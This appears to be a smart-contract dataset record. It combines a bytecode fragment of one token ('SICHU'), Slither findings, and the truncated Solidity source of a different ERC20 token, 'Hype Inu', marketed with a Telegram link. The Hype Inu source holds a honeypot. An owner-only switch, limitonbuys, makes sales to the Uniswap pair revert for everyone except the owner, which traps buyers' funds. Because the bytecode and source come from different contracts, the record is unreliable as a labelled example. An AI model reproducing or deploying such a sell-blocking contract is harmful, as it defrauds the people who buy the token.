73206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf816123c8565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c3565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5349434855000000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e81612547565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea0000061283190919063ffffffff16565b6128b790919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613e0c6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613d536022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613de76025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613d066023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613dbe6029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561224557601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b1561224357601360179054906101000a900460ff1615612220576101684203600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061221f57600080fd5b5b61222981612547565b6000479050600081111561224157612240476123c8565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122ec5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122f657600090505b61230284848484612901565b50505050565b60008383111582906123b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561237a57808201518184015260208101905061235f565b50505050905090810190601f1680156123a75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124186002846128b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612443573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124946002846128b790919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124bf573d6000803e3d6000fd5b5050565b6000600a54821115612520576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613d29602a913960400191505060405180910390fd5b600061252a612b58565b905061253f81846128b790919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561257c57600080fd5b506040519080825280602002602001820160405280156125ab5781602001602082028036833780820191505090505b50905030816000815181106125bc57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561265e57600080fd5b505afa158015612672573d6000803e3d6000fd5b505050506040513d602081101561268857600080fd5b8101908080519060200190929190505050816001815181106126a657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061270d30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156127d15780820151818401526020810190506127b6565b505050509050019650505050505050600060405180830381600087803b1580156127fa57600080fd5b505af115801561280e573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60008083141561284457600090506128b1565b600082840290508284828161285557fe5b04146128ac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d756021913960400191505060405180910390fd5b809150505b92915050565b60006128f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b83565b905092915050565b8061290f5761290e612c49565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129b25750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129c7576129c2848484612c8c565b612b44565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a6a5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a7f57612a7a848484612eec565b612b43565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b215750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b3657612b3184848461314c565b612b42565b612b41848484613441565b5b5b5b80612b5257612b5161360c565b5b50505050565b6000806000612b65613620565b91509150612b7c81836128b790919063ffffffff16565b9250505090565b60008083118290612c2f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612bf4578082015181840152602081019050612bd9565b50505050905090810190601f168015612c215780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612c3b57fe5b049050809150509392505050565b6000600c54148015612c5d57506000600d54145b15612c6757612c8a565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c9e876138cd565b955095509550955095509550612cfc87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e2685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e7281613a07565b612e7c8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612efe876138cd565b955095509550955095509550612f5c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ff183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061308685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130d281613a07565b6130dc8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061315e876138cd565b9550955095509550955095506131bc87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132e683600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061337b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133c781613a07565b6133d18483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613453876138cd565b9550955095509550955095506134b186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061354685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061359281613a07565b61359c8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156138825782600260006009848154811061365a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061374157508160036000600984815481106136d957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561375f57600a54683635c9adc5dea00000945094505050506138c9565b6137e8600260006009848154811061377357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461393590919063ffffffff16565b925061387360036000600984815481106137fe57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361393590919063ffffffff16565b9150808060010191505061363b565b506138a1683635c9adc5dea00000600a546128b790919063ffffffff16565b8210156138c057600a54683635c9adc5dea000009350935050506138c9565b81819350935050505b9091565b60008060008060008060008060006138ea8a600c54600d54613be6565b92509250925060006138fa612b58565b9050600080600061390d8e878787613c7c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061397783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612308565b905092915050565b6000808284019050838110156139fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613a11612b58565b90506000613a28828461283190919063ffffffff16565b9050613a7c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613ba757613b6383600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613bc182600a5461393590919063ffffffff16565b600a81905550613bdc81600b5461397f90919063ffffffff16565b600b819055505050565b600080600080613c126064613c04888a61283190919063ffffffff16565b6128b790919063ffffffff16565b90506000613c3c6064613c2e888b61283190919063ffffffff16565b6128b790919063ffffffff16565b90506000613c6582613c57858c61393590919063ffffffff16565b61393590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c95858961283190919063ffffffff16565b90506000613cac868961283190919063ffffffff16565b90506000613cc3878961283190919063ffffffff16565b90506000613cec82613cde858761393590919063ffffffff16565b61393590919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212201016a7091442948ca780b08b19210717cbb0fccf0bcad94af8b0a7b5c08add7e64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,742 |
0xe1c6567867c4aa36b46952e5f5cf141556e134fa
|
/*
Hype Inu ($Hype)
HypeINU Token (ERC20) has been created by a team of marketing professionals, designers and game developers. We’ve worked together on different projects for some time and always wondered what the net result would be if we dedicated our time, skills and combined experience towards our own token? So, when better time than #hypeseason?
Telegram: https://t.me/hypeinu
*/
pragma solidity 0.8.9;
pragma experimental ABIEncoderV2;
// SPDX-License-Identifier:MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// Dex Factory contract interface
interface IdexFacotry {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
// Dex Router02 contract interface
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = payable(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract HypeInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
IDexRouter public dexRouter;
address public dexPair;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
bool public _limitonbuys = true;
constructor() {
_name = "Hype INU";
_symbol = "Hype";
_decimals = 18;
_totalSupply = 10000000 * 1e18;
_balances[owner()] = _totalSupply.mul(1000).div(1e3);
IDexRouter _dexRouter = IDexRouter(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D // UniswapV2Router02
);
// Create a uniswap pair for this new token
dexPair = IdexFacotry(_dexRouter.factory()).createPair(
address(this),
_dexRouter.WETH()
);
// set the rest of the contract variables
dexRouter = _dexRouter;
emit Transfer(address(this), owner(), _totalSupply.mul(1000).div(1e3));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function limitonbuys(bool value) external onlyOwner {
_limitonbuys = value;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"WE: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"WE: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "Transfer coming");
require(recipient != address(0), "Transfer coming");
require(amount > 0, "Transfer coming");
if (!_limitonbuys && sender != owner() && recipient != owner()) {
require(recipient != dexPair, " you hit your limits");
}
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "No can do");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
